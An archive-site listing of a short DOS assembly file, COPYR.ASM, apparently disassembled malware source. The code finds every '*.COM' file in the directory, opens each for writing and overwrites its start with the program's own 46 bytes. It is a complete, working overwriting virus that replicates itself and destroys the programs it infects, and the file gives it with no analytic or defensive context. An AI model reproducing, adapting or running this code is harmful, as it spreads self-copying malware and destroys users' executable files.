home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / COPYR.ASM < prev    next >
Assembly Source File  |  1980-01-01  |  1KB  |  60 lines

  1.   
  2. PAGE  59,132
  3.   
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    COPYR                         ██
  7. ;██                                         ██
  8. ;██      Created:   1-Jan-80                             ██
  9. ;██      Version:                                 ██
  10. ;██      Passes:    5           Analysis Options on: AFOP             ██
  11. ;██                                         ██
  12. ;██                                         ██
  13. ;██████████████████████████████████████████████████████████████████████████
  14.   
  15. data_1e        equ    9Eh            ; (996E:009E=0)
  16.   
  17. seg_a        segment    byte public
  18.         assume    cs:seg_a, ds:seg_a
  19.   
  20.   
  21.         org    100h
  22.   
  23. COPYR        proc    far
  24.   
  25. start:
  26.         mov    ah,4Eh            ; 'N'
  27.         mov    cl,20h            ; ' '
  28.         mov    dx,offset data_3    ; (996E:0128=2Ah)
  29.         int    21h            ; DOS Services  ah=function 4Eh
  30.                         ;  find 1st filenam match @ds:dx
  31. loc_1:
  32.         mov    dx,data_1e        ; (996E:009E=0)
  33.         mov    ax,3D01h
  34.         int    21h            ; DOS Services  ah=function 3Dh
  35.                         ;  open file, al=mode,name@ds:dx
  36.         mov    bx,ax
  37.         mov    dx,offset ds:[100h]    ; (996E:0100=0B4h)
  38.         mov    cl,2Eh            ; '.'
  39.         mov    ah,40h            ; '@'
  40.         int    21h            ; DOS Services  ah=function 40h
  41.                         ;  write file cx=bytes, to ds:dx
  42.         mov    ah,3Eh            ; '>'
  43.         int    21h            ; DOS Services  ah=function 3Eh
  44.                         ;  close file, bx=file handle
  45.         mov    ah,4Fh            ; 'O'
  46.         int    21h            ; DOS Services  ah=function 4Fh
  47.                         ;  find next filename match
  48.         jnc    loc_1            ; Jump if carry=0
  49.         int    20h            ; Program Terminate
  50. data_3        db    2Ah
  51.         db     2Eh, 43h, 4Fh, 4Dh, 00h
  52.   
  53. COPYR        endp
  54.   
  55. seg_a        ends
  56.   
  57.   
  58.   
  59.         end    start
  60.